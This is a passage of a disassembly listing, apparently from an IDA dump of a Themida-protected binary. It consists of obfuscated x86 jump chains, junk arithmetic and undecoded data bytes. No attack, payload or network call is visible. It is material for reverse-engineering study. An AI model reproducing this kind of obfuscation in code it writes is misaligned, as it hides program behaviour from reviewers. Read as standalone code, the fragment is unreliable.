; ---------------------------------------------------------------------------


loc_599088:				; CODE XREF: Themida_:005AF3DFj
		xor	ebx, edi
		jmp	loc_5A0256
; ---------------------------------------------------------------------------
aSsaf		db '\Sι€F',0
		align 2
		dw 0C89h
		dd 1E026824h, 5E91596h,	5C000112h, 16484E9h
		db 0
; ---------------------------------------------------------------------------


loc_5990A9:				; CODE XREF: Themida_:005A5466j
					; Themida_:005A6925j
		push	5778h
		mov	[esp], ebx
		push	7368h
		mov	[esp], esi
		mov	esi, 4AC806AFh
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A6FD2
; ---------------------------------------------------------------------------


loc_5990CD:				; CODE XREF: Themida_:0059C413j
		push	1768h
		mov	[esp], ecx
		jmp	loc_5A5435
; ---------------------------------------------------------------------------


loc_5990DA:				; CODE XREF: Themida_:0059B6F0j
		mov	[esp], ebp
		push	3B977D13h
		mov	ebp, [esp]
		jmp	loc_59B718
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 677EE91Ch, 0C5810000h, 4, 8904EC83h,	7DBE2434h, 0C10ED754h
		dd 0EEC108EEh, 0B167E908h, 8040000h, 6158E9h
		db 0
; ---------------------------------------------------------------------------


loc_599115:				; CODE XREF: Themida_:005A8A0Fj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 0A43FF4A5h
		jmp	loc_5ABBAC
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 8F5B0424h, 835C2404h, 48704C0h, 0EC815C24h, 4, 54242C89h
		dd 4BB535Dh, 1000000h, 0C53E9DDh
		db 1, 0
; ---------------------------------------------------------------------------


loc_599152:				; CODE XREF: Themida_:005A80CAj
		jnp	loc_59C93F
		jmp	loc_5AE7E3
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		db 0C6h, 0C1h, 0D1h
; ---------------------------------------------------------------------------


loc_599163:				; CODE XREF: Themida_:0059E0CDj
		mov	ebp, ebx
		pop	ebx
		not	ebp
		shl	ebp, 6
		jmp	loc_59E493
; ---------------------------------------------------------------------------


loc_599170:				; CODE XREF: Themida_:0059B77Bj
		add	dword ptr [esp+4], 2AAD4243h
		add	dword ptr [esp+4], 55F663FAh
		jmp	loc_59AD2C
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 12D0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59918D:				; CODE XREF: Themida_:005A3189j
		xor	edi, 4EF0A5Fh
		jno	loc_5ABDB9
		jmp	loc_5ADE27
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 5B5A0424h, 0CBE9D931h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5991AB:				; CODE XREF: Themida_:005AF116j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	4Ah
		mov	[esp], ecx
		push	edx
		push	754Dh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		jmp	loc_5A74DA
; ---------------------------------------------------------------------------


loc_5991D7:				; CODE XREF: Themida_:005A7D79j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5D8B7937h
		xor	esi, ebx
		pop	ebx
		jmp	loc_59BE8C
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 0AB55C104h, 245C0102h, 4305E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5991FE:				; CODE XREF: Themida_:005A41F3j
		add	esi, 0DF8AB5EDh
		mov	eax, esi
		pop	esi
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5ACE28
; ---------------------------------------------------------------------------


loc_59921B:				; CODE XREF: Themida_:0059E022j
		sub	cl, 43h
		pop	eax
		push	edx
		mov	dh, 7Bh
		or	dh, 74h
		jmp	loc_5A4726
; ---------------------------------------------------------------------------


loc_59922A:				; CODE XREF: Themida_:005A8FD9j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		push	70C748C1h
		jmp	loc_59A3E1
; ---------------------------------------------------------------------------


loc_59923A:				; CODE XREF: Themida_:005A91CFj
		push	ebp
		mov	ebp, 4E583F71h
		inc	ebp
		sub	ebp, 1ED87978h
		jmp	loc_59C53F
; ---------------------------------------------------------------------------


loc_59924C:				; CODE XREF: Themida_:005A6FFEj
		xor	edx, 0F2336367h
		jmp	loc_59D416
; ---------------------------------------------------------------------------


loc_599257:				; CODE XREF: Themida_:00599B6Aj
		push	edx
		mov	dh, 5Bh
		xor	cl, dh
		jmp	loc_5A5D82
; ---------------------------------------------------------------------------


loc_599261:				; CODE XREF: Themida_:0059CCACj
		pop	esp
		push	ebx
		mov	ebx, 40h
		sub	ebx, 6D660E30h
		add	ebx, edi
		add	ebx, 6D660E30h
		jmp	loc_5A062D
; ---------------------------------------------------------------------------


loc_59927B:				; CODE XREF: Themida_:005A9ED9j
		mov	ebp, 4
		push	eax
		mov	eax, 461A4895h
		add	[esp+8], eax
		pop	eax
		add	[esp+4], ebp
		jmp	loc_5A33AF
; ---------------------------------------------------------------------------


loc_599294:				; CODE XREF: Themida_:005A8082j
		add	cl, 0D7h
		jmp	loc_5A4634
; ---------------------------------------------------------------------------


loc_59929C:				; CODE XREF: Themida_:00598573j
		mov	esi, 490C55EEh
		sub	[esp+0Ch], esi
		pop	esi
		jmp	loc_59C57A
; ---------------------------------------------------------------------------


loc_5992AB:				; CODE XREF: Themida_:005AAD04j
		jmp	loc_5A929D
; ---------------------------------------------------------------------------


loc_5992B0:				; CODE XREF: Themida_:005A6D19j
		push	77AAh
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		push	esi
		push	eax
		mov	eax, 9B2489Eh
		mov	esi, 917DBE9h
		sub	esi, 0F243AEFh
		add	esi, eax
		add	esi, 0F243AEFh
		pop	eax
		shr	esi, 1
		inc	esi
		sub	esi, 9651240h
		push	ecx
		mov	ecx, 34942F40h
		add	eax, ecx
		pop	ecx
		add	eax, esi
		push	edi
		mov	edi, 49680F3Bh
		shr	edi, 6
		shl	edi, 8
		add	edi, 5B7218Ah
		sub	edi, 1A3A3816h
		neg	edi
		jmp	loc_5AA18A
; ---------------------------------------------------------------------------


loc_599309:				; CODE XREF: Themida_:00599006j
		sub	ebp, 5A26685Ch
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0F546BECh
		add	eax, 3C292799h
		add	eax, 252977B1h
		jmp	loc_59C51C
; ---------------------------------------------------------------------------


loc_59932D:				; CODE XREF: Themida_:005A2C4Cj
		sub	al, 1Bh
		jmp	loc_5A15EC
; ---------------------------------------------------------------------------


loc_599334:				; CODE XREF: Themida_:loc_5AF058j
		xor	esi, 22EC2184h
		mov	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5ACD15
; ---------------------------------------------------------------------------


loc_59934B:				; CODE XREF: Themida_:005A889Ej
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	0DCh
		jmp	loc_5A540B
; ---------------------------------------------------------------------------


loc_59935F:				; CODE XREF: Themida_:005A0556j
		xor	al, cl
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	6C5Bh
		mov	[esp], edi
		mov	edi, 35F25B1Bh
		and	edi, 15963B18h
		shr	edi, 6
		jmp	loc_59B5E2
; ---------------------------------------------------------------------------


loc_599383:				; CODE XREF: Themida_:005A1B8Fj
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, 7EAD62D8h
		add	edi, ebx
		add	edi, 7EAD62D8h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59A625
; ---------------------------------------------------------------------------


loc_5993AC:				; CODE XREF: Themida_:005A6646j
		dec	ecx
		jl	loc_59AA63
		jmp	loc_5A3225
; ---------------------------------------------------------------------------


loc_5993B8:				; CODE XREF: Themida_:005AABE3j
		pop	esp
		jmp	loc_5A3E77
; ---------------------------------------------------------------------------
		dw 1489h
		dd 555A5424h, 4BDh, 0F696E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5993CE:				; CODE XREF: Themida_:005A32E5j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_5A3966
; ---------------------------------------------------------------------------


loc_5993DA:				; CODE XREF: Themida_:0059C184j
					; Themida_:005A9CB9j
		add	eax, 0E8C9DF37h
		mov	ebp, eax
		pop	eax
		shr	ebp, 5
		shr	ebp, 5
		xor	ebp, 593CD059h
		and	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	esi, 44696261h
		jbe	loc_5AEC18
		jmp	loc_5AE30F
; ---------------------------------------------------------------------------


loc_599407:				; CODE XREF: Themida_:loc_5AE2AEj
		jmp	loc_5A6223
; ---------------------------------------------------------------------------


loc_59940C:				; CODE XREF: Themida_:005A57B6j
					; Themida_:loc_5ACE09j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	0A4h
		mov	[esp], eax
		mov	ah, 0AAh
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		sub	cl, 83h
		sub	esp, 2
		mov	[esp], bx
		mov	bh, 23h
		jmp	loc_59F46F
; ---------------------------------------------------------------------------


loc_599449:				; CODE XREF: Themida_:005A6050j
		pop	eax
		jmp	loc_5A0DBE
; ---------------------------------------------------------------------------
		db 80h
		dd 830FB1C7h, 6654h, 44E9DFF6h,	10000F3h, 2D58E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599466:				; CODE XREF: Themida_:loc_59B4A0j
		push	esi
		mov	esi, 45594DF4h
		push	edi
		jmp	loc_5A0A2F
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0BA520000h, 3ACE3C18h, 0A801E9h
		db 0
; ---------------------------------------------------------------------------


loc_599485:				; CODE XREF: Themida_:0059E732j
		mov	ebp, [esp]
		jmp	loc_598F7F
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 4832424h, 48F0424h
		dd 4B85024h, 81000000h,	5C042444h, 0E901E714h, 0FFFFFA2Ah
; ---------------------------------------------------------------------------


loc_5994BC:				; CODE XREF: Themida_:005ABC78j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	437h
		mov	[esp], esi
		jmp	loc_5AF392
; ---------------------------------------------------------------------------


loc_5994D5:				; CODE XREF: Themida_:005AC5A8j
		mov	[esp], ebx
		mov	ebx, 3CD67B22h
		jmp	loc_59EC71
; ---------------------------------------------------------------------------


loc_5994E2:				; CODE XREF: Themida_:005A4232j
		xor	dh, ch
		pop	ecx
		add	dh, 0C8h
		push	eax
		mov	al, 0F1h
		push	ax
		not	byte ptr [esp]
		pop	ax
		not	al
		inc	al
		sub	al, 0CBh
		xor	dh, al
		jmp	loc_599DD2
; ---------------------------------------------------------------------------


loc_5994FF:				; CODE XREF: Themida_:00598C2Fj
		add	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		jmp	loc_5AF587
; ---------------------------------------------------------------------------


loc_59950A:				; CODE XREF: Themida_:005A0D49j
		push	ecx
		mov	ch, 0C3h
		jmp	loc_5A007C
; ---------------------------------------------------------------------------


loc_599512:				; CODE XREF: Themida_:005A1A21j
		mov	ecx, 68479F6Ch
		jmp	loc_5A83B5
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 5B8CE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59952A:				; CODE XREF: Themida_:005AA656j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59FAE1
; ---------------------------------------------------------------------------


loc_599533:				; CODE XREF: Themida_:0059C697j
					; Themida_:005A3BCDj
		add	al, dh
		pop	edx
		neg	al
		ja	loc_5A0D40
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A391C
; ---------------------------------------------------------------------------


loc_59954C:				; CODE XREF: Themida_:005A6889j
		mov	[esp], eax
		push	edi
		jmp	loc_5AB03D
; ---------------------------------------------------------------------------


loc_599555:				; CODE XREF: Themida_:005A68A0j
		add	dword ptr [esp+8], 490C55EEh
		jmp	loc_59856E
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 0B0ED815Ah, 11EDA5Dh, 0B0C581F5h, 811EDA5Dh,	5D7C84EDh
		dd 2C875E5Eh, 24248B24h, 1261EE9h
		db 0
; ---------------------------------------------------------------------------


loc_599585:				; CODE XREF: Themida_:0059E183j
		sub	cl, 38h
		jg	loc_5AB063
		or	cl, 9Ah
		jg	loc_5A055B
		shl	cl, 2
		jmp	loc_5A9B0F
; ---------------------------------------------------------------------------


loc_59959F:				; CODE XREF: Themida_:005A0A6Cj
		add	edx, 4
		push	ebp
		push	edi
		jmp	loc_5AD3A7
; ---------------------------------------------------------------------------


loc_5995AC:				; CODE XREF: Themida_:005A4AF6j
		add	[esp+8], esi
		sub	dword ptr [esp+8], 37380686h
		pop	esi
		jmp	loc_5A2C51
; ---------------------------------------------------------------------------


loc_5995BE:				; CODE XREF: Themida_:005A18F8j
		xor	[esp], eax
		jmp	loc_5AD748
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24048904h, 2909E954h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5995D6:				; CODE XREF: Themida_:005A1F86j
					; Themida_:005A6268j
		not	dword ptr [esp]
		pop	eax
		jmp	loc_5A11A7
; ---------------------------------------------------------------------------


loc_5995DF:				; CODE XREF: Themida_:005A37D3j
		sub	ecx, 764619EDh
		sub	ecx, 17BBC00Bh
		add	esi, ecx
		pop	ecx
		jmp	loc_5996EE
; ---------------------------------------------------------------------------


loc_5995F3:				; CODE XREF: Themida_:005A1FB8j
		jns	loc_5AD094
		shr	ecx, 6
		jnp	loc_5A08C7
		jmp	loc_5AD7E7
; ---------------------------------------------------------------------------


loc_599607:				; CODE XREF: Themida_:005A12E8j
		mov	eax, edi
		jmp	loc_5A3850
; ---------------------------------------------------------------------------


loc_59960E:				; CODE XREF: Themida_:005A61FDj
		mov	ecx, 59158CAh
		inc	ecx
		shr	ecx, 6
		jmp	loc_5A72B0
; ---------------------------------------------------------------------------
		dd 164B68h, 24248900h, 4240483h, 83240C8Bh, 1C8904ECh
		dd 1C8B5424h, 4C48324h,	0E688E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59963E:				; CODE XREF: Themida_:005AB4CBj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A948C
; ---------------------------------------------------------------------------


loc_59964F:				; CODE XREF: Themida_:0059EEE0j
		push	514Fh
		mov	[esp], eax
		push	esp
		jmp	loc_5A1EB4
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 4EC81h, 14890000h, 4EFB224h,	0EB686650h, 0F35CE97Eh
		dd 0C2800000h, 0E950662Eh, 1596h
; ---------------------------------------------------------------------------


loc_599680:				; CODE XREF: Themida_:0059868Aj
		push	esi
		push	5C530B3Ah
		pop	esi
		dec	esi
		jle	loc_59F662
		shr	esi, 7
		jmp	loc_5A0B73
; ---------------------------------------------------------------------------
		dd offset dword_577994+6D4h
		dw 8900h
		dd 9FB9240Ch, 313B8A4Ah, 0B95159C8h, 738252B4h,	4253E9h
		db 0
; ---------------------------------------------------------------------------


loc_5996B1:				; CODE XREF: Themida_:005A2D14j
		sub	edx, 0BC0F3517h
		sub	eax, edx
		jmp	loc_5AC78D
; ---------------------------------------------------------------------------
		dw 9DB9h
		dd 811DA014h, 7C1B44C9h, 0AB8F0F6Dh, 0C100012Fh, 840F02E1h
		dd 0E68Dh
		db 88h,	0C6h, 5Ah
; ---------------------------------------------------------------------------


loc_5996DB:				; CODE XREF: Themida_:005AB24Ej
		sub	bl, 13h
		push	edx
		push	ebx
		push	eax
		mov	ah, 0EDh
		and	ah, 0B9h
		sub	ah, 1Ah
		jmp	loc_5A4BA2
; ---------------------------------------------------------------------------


loc_5996EE:				; CODE XREF: Themida_:005995EEj
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59B42A
; ---------------------------------------------------------------------------


loc_5996FE:				; CODE XREF: Themida_:005ABEDAj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0B484921Eh
		add	edx, ebp
		pop	ebp
		sub	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A571E
; ---------------------------------------------------------------------------


loc_599725:				; CODE XREF: Themida_:005ACC56j
		pop	edi
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	eax, ebx
		add	eax, 65DA33CEh
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	5A111299h
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A9D6A
; ---------------------------------------------------------------------------


loc_599776:				; CODE XREF: Themida_:0059BAF4j
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A9F0F
; ---------------------------------------------------------------------------


loc_59978D:				; CODE XREF: Themida_:0059FAA7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 545EC798h
		xor	edi, ebp
		jmp	loc_5AA768
; ---------------------------------------------------------------------------
		dw 0DDF7h
aEsw		db 'EιwΆ',0
		align 2
		dw 60B9h
		dd 8139437Bh, 0CE48FFC9h, 7E1C177h, 0E907E1C1h,	14C50h
; ---------------------------------------------------------------------------


loc_5997C0:				; CODE XREF: Themida_:0059A090j
		push	eax
		jmp	loc_5A5B47
; ---------------------------------------------------------------------------


loc_5997C6:				; CODE XREF: Themida_:0059E559j
		add	edi, eax
		pop	eax
		push	2DDh
		mov	[esp], edx
		push	ebp
		jmp	loc_5A9028
; ---------------------------------------------------------------------------


loc_5997D7:				; CODE XREF: Themida_:005A6653j
		not	ecx
		xor	ecx, 0DD70576Ah
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		mov	ecx, [esp]
		push	eax
		jmp	loc_5AA57D
; ---------------------------------------------------------------------------


loc_5997F6:				; CODE XREF: Themida_:005A5D7Dj
					; Themida_:005A6C9Dj
		add	edi, 2F456041h
		add	edi, ebx
		sub	edi, 2F456041h
		sub	edi, 0F091B94h
		add	edi, 21587F26h
		jmp	loc_5A7B88
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Dh, 8CCE8166h,	0EEC16668h, 0D6F76608h,	40EE8166h
		dd 0DEF76676h, 8579E9h
		db 0
; ---------------------------------------------------------------------------


loc_599835:				; CODE XREF: Themida_:005AA934j
		push	0B8Ah
		jmp	loc_5AC2F1
; ---------------------------------------------------------------------------


loc_59983F:				; CODE XREF: Themida_:005A1849j
		sub	edx, 17810C2Fh
		mov	ecx, [esp]
		add	esp, 4
		add	edx, eax
		push	0D4h
		mov	[esp], ecx
		jmp	loc_5AF54D
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 1AC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_599865:				; CODE XREF: Themida_:005A4866j
		push	3C35045Eh
		pop	esi
		push	ecx
		mov	ecx, 359F7AAFh
		dec	ecx
		dec	ecx
		xor	ecx, 7E507C10h
		sub	ecx, 3581713Dh
		jmp	loc_5A7DAF
; ---------------------------------------------------------------------------


loc_599884:				; CODE XREF: Themida_:005A82C8j
		push	ebx
		mov	ebx, 0F12C8483h
		add	edx, 6C944FB9h
		add	edx, ebx
		sub	edx, 6C944FB9h
		mov	ebx, [esp]
		jmp	loc_5A22F3
; ---------------------------------------------------------------------------


loc_5998A0:				; CODE XREF: Themida_:005A151Fj
		mov	ah, 1Ch
		or	ah, 0D8h
		jmp	loc_5AC0F4
; ---------------------------------------------------------------------------


loc_5998AA:				; CODE XREF: Themida_:005A8754j
		add	ebp, 31627C0Ah
		jmp	loc_5AA2BF
; ---------------------------------------------------------------------------


loc_5998B5:				; CODE XREF: Themida_:0059FBBFj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 8846A9Ch
		mov	eax, ebx
		pop	ebx
		shl	eax, 3
		sub	eax, 44A92B10h
		jmp	loc_59C959
; ---------------------------------------------------------------------------


loc_5998F5:				; CODE XREF: Themida_:005A1B48j
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_5A8492
; ---------------------------------------------------------------------------


loc_599915:				; CODE XREF: Themida_:005A805Ej
		sub	ebx, 572B46FBh
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	ebx, 0FAF0EC5h
		shr	ebx, 6
		js	loc_59BFB6
		and	ebx, 53D7629h
		xor	ebx, 63F22948h
		ja	loc_5A88F1
		add	ebx, 504C0EB8h
		jnb	loc_59CADD
		pop	ebx


loc_599954:				; CODE XREF: Themida_:0059BB5Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59CAB5
; ---------------------------------------------------------------------------


loc_59995F:				; CODE XREF: Themida_:0059BB9Fj
		mov	esp, [esp]
		jmp	loc_5A96DA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 4F8268h, 24148900h, 0CD9E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599982:				; CODE XREF: Themida_:005A67A6j
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A264A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4835824h, 2A685004h, 5400005Eh,	8124048Fh
		dd 42404h, 0B7E90000h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5999B3:				; CODE XREF: Themida_:005AE805j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5999B8:				; CODE XREF: Themida_:005AEF65j
		pop	edx
		push	eax
		jmp	loc_5A1FF5
; ---------------------------------------------------------------------------


loc_5999BF:				; CODE XREF: Themida_:005AD23Fj
		or	edx, ebx
		pop	ebx
		dec	edx
		sub	edx, 8661653h
		push	ebp
		jmp	loc_5A8397
; ---------------------------------------------------------------------------


loc_5999CF:				; CODE XREF: Themida_:005A3F04j
		mov	esi, 4
		add	ecx, esi
		jmp	loc_5A6F6D
; ---------------------------------------------------------------------------


loc_5999DB:				; CODE XREF: Themida_:005AB2D6j
		sub	edi, 5BC10712h
		add	edi, edx
		add	edi, 5BC10712h
		pop	edx
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		mov	[esp], dx
		mov	dh, 54h
		sub	esp, 4
		jmp	loc_5A615D
; ---------------------------------------------------------------------------


loc_599A02:				; CODE XREF: Themida_:00598D75j
		jmp	loc_59E269
; ---------------------------------------------------------------------------


loc_599A07:				; CODE XREF: Themida_:005AAA0Fj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		shl	dword ptr [esp], cl
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_599A1C:				; CODE XREF: Themida_:005A87ABj
		pop	ebp
		jmp	loc_59DF2A
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 11C2Ah
; ---------------------------------------------------------------------------


loc_599A28:				; CODE XREF: Themida_:005A3796j
		mov	esp, [esp]
		jmp	loc_59D05E
; ---------------------------------------------------------------------------


loc_599A30:				; CODE XREF: Themida_:0059ADBCj
		push	ecx
		jmp	loc_5AA83D
; ---------------------------------------------------------------------------


loc_599A36:				; CODE XREF: Themida_:005AE84Fj
		push	73CC039Ah
		jmp	loc_5A62AC
; ---------------------------------------------------------------------------


loc_599A40:				; CODE XREF: Themida_:005A8546j
		xor	ebp, ecx
		jmp	loc_5A9BA8
; ---------------------------------------------------------------------------


loc_599A47:				; CODE XREF: Themida_:0059FB1Bj
		push	ecx
		mov	ecx, 6D1D16D4h
		jmp	loc_5A9577
; ---------------------------------------------------------------------------
		dw 2268h
		dd 89000063h, 0AABB241Ch, 81208D14h, 72EF55F3h,	1C5F21DFh
		dd 0E92434FFh, 10803h
; ---------------------------------------------------------------------------


loc_599A70:				; CODE XREF: Themida_:0059BCB8j
		add	esp, 4
		jmp	loc_5A939D
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 4165h
; ---------------------------------------------------------------------------


loc_599A80:				; CODE XREF: Themida_:005ADFD9j
		or	edx, 2D724B8Fh
		xor	edx, 0BF7AFFEDh
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	42FC1D03h
		pop	esi
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, ebp
		add	eax, 42FC1D03h
		push	dword ptr [esp]
		jmp	loc_5A2E06
; ---------------------------------------------------------------------------
		db 30h,	0C2h, 66h
		dd 0E924048Bh, 0E2BEh
; ---------------------------------------------------------------------------


loc_599AC0:				; CODE XREF: Themida_:005A1908j
		mov	ecx, 7F014AB4h
		add	ebx, ecx
		jmp	loc_5A4903
; ---------------------------------------------------------------------------
		dd 525F5457h, 2F17E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599AD6:				; CODE XREF: Themida_:005A80A2j
		and	ebx, 483A0113h
		js	loc_5A8745
		shr	ebx, 2
		jmp	loc_5988E9
; ---------------------------------------------------------------------------
		dw 5CB5h
		dd 0E9D9F580h, 0E9CCh
; ---------------------------------------------------------------------------


loc_599AF4:				; CODE XREF: Themida_:005A159Dj
		neg	eax
		sub	eax, 791679B2h
		neg	eax
		sub	eax, 5B0F5775h
		or	esi, eax
		pop	eax
		jmp	loc_5AB253
; ---------------------------------------------------------------------------


loc_599B0A:				; CODE XREF: Themida_:0059EC6Cj
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	eax
		jmp	loc_5A463B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 34E92404h
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599B23:				; CODE XREF: Themida_:005A708Fj
		add	eax, 60503D8Ah
		push	ebp
		jmp	loc_5A28EE
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 1B6FBF57h,	0E7C129EEh, 229DE906h, 0EDC00001h
		dd 5E840F05h, 0F600012Bh, 188E0FDDh, 0E900007Eh, 0C63Ch
		dd 515BD830h
		db 52h,	5Ch
; ---------------------------------------------------------------------------


loc_599B5E:				; CODE XREF: Themida_:005A0AFCj
					; Themida_:005A6225j
		pop	eax
		push	edx
		mov	dl, 27h
		jmp	loc_5A3360
; ---------------------------------------------------------------------------


loc_599B67:				; CODE XREF: Themida_:005983AEj
		sub	cl, 0D5h
		jl	loc_599257
		push	edx
		mov	dh, 5Bh
		xor	cl, dh
		pop	edx
		not	cl
		jmp	loc_5ABC8B
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0F1h
		dd 850FDAF6h, 4F42h, 840FDAF6h,	1172Ah,	80A8E280h
		db 0EAh, 0D6h, 5Ch
; ---------------------------------------------------------------------------


loc_599B97:				; CODE XREF: Themida_:00598EE1j
		mov	[esp], ebx
		mov	ebx, 1Ch
		sub	ebx, 3AAA4A2Eh
		sub	ebx, 7CCB1703h
		sub	ebx, 46717B66h
		sub	ebx, 446D390Fh
		add	ebx, edi
		add	ebx, 446D390Fh
		add	ebx, 46717B66h
		push	eax
		mov	eax, 23231F6Ah
		sub	eax, 72A501F1h
		jmp	loc_5A19F7
; ---------------------------------------------------------------------------


loc_599BD5:				; CODE XREF: Themida_:loc_5AA078j
		xor	ebx, 60763E99h
		mov	ebp, ebx
		jmp	loc_5A52C5
; ---------------------------------------------------------------------------


loc_599BE2:				; CODE XREF: Themida_:005A9D7Aj
		add	eax, edx
		jmp	loc_5A426A
; ---------------------------------------------------------------------------


loc_599BE9:				; CODE XREF: Themida_:0059EA8Cj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		push	edi
		push	261F0E8Eh
		jmp	loc_5A4280
; ---------------------------------------------------------------------------


loc_599BFF:				; CODE XREF: Themida_:005A46AFj
		sub	ebp, ebx
		add	ebp, 4D5319CFh
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	76073252h
		mov	esi, [esp]
		jmp	loc_5A81B7
; ---------------------------------------------------------------------------


loc_599C1C:				; CODE XREF: Themida_:005A647Fj
		mov	edx, 5B837635h
		sub	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		jmp	loc_59BBD2
; ---------------------------------------------------------------------------


loc_599C2C:				; CODE XREF: Themida_:0059FBD1j
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	0B5A1E32h
		pop	eax
		xor	eax, 0B5A1E36h
		mov	edi, eax
		pop	eax
		add	eax, 459D300Eh
		add	eax, edi
		sub	eax, 459D300Eh
		jmp	loc_5A35AF
; ---------------------------------------------------------------------------


loc_599C57:				; CODE XREF: Themida_:005AE75Aj
		add	esi, edx
		add	esi, 1305770Ch
		pop	edx
		or	esi, 4B805DB1h
		jg	loc_5AB63B
		shr	esi, 7
		jnp	loc_599EF6
		add	esi, 210C7189h
		and	dh, 8
		push	eax


